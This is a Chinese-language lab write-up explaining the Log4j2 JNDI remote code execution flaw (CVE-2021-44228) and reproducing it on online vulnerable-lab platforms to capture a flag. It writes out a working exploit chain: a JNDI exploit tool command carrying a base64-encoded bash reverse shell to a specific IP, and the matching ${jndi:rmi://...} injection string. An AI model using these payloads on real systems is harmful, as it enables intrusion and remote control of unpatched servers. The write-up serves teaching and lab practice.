Log4j2远程命令执行漏洞(CVE-2021-44228)原理和复现
目录
漏洞概述
Log4j2远程命令执行漏洞(CVE-2021-44228)是Apache Log4j2库中的一个严重安全漏洞,允许攻击者通过特制的日志消息执行任意代码。该漏洞影响2.0-beta9到2.14.1版本的Log4j2。
漏洞原理
Log4j2远程命令执行漏洞的核心在于其JNDI查找功能与日志消息中的表达式解析机制的组合缺陷,具体原理可分为以下几个关键点:
jndi是java提供的一个用于访问各种服务的api接口,比如说可以rmi(远程方法调用),ldap(轻量级目录协议)这就给了我们远程调用的机会。而漏洞的发生点在于log4j2的日志消息中出现${ 后面的内容就会经过jndi的lookup方法进行远程方法调用,于是攻击者就可以构造个恶意类,让其调用从而实习远程命令执行。使用rmi,ldap都行。其实现一般是在攻击者服务器上存在个恶意类其内容为让服务器反弹shell到攻击者的服务器。
漏洞利用
在太阿漏洞在线平台复现。
1.登录服务器,准备恶意类
首先,xshell连上服务器下载利用工具
命令为git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
进入然后编译出包来用mvn clean package -DskipTests cd target/
这里我踩了坑,编译的不行,自己去下载一个,然后选用
标红的这个环境才能反弹shell
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip" 把命令base64编码一下
这样就成了 比如说我们利用
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yNDIuNDguMTYwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "47.242.48.160"
开启端口监听
然后构造请求${jndi:rmi://47.242.48.160:1099/adh6jy}
这个请求取决与图里面是什么。
(写一半这靶场崩了,换个靶场复现,vulfocus)得到了
成功反弹shell
查找flag
命令为find / -type f -name "flag" 2>/dev/null
提交


这里用在线网站➕vps实现,更接近真实环境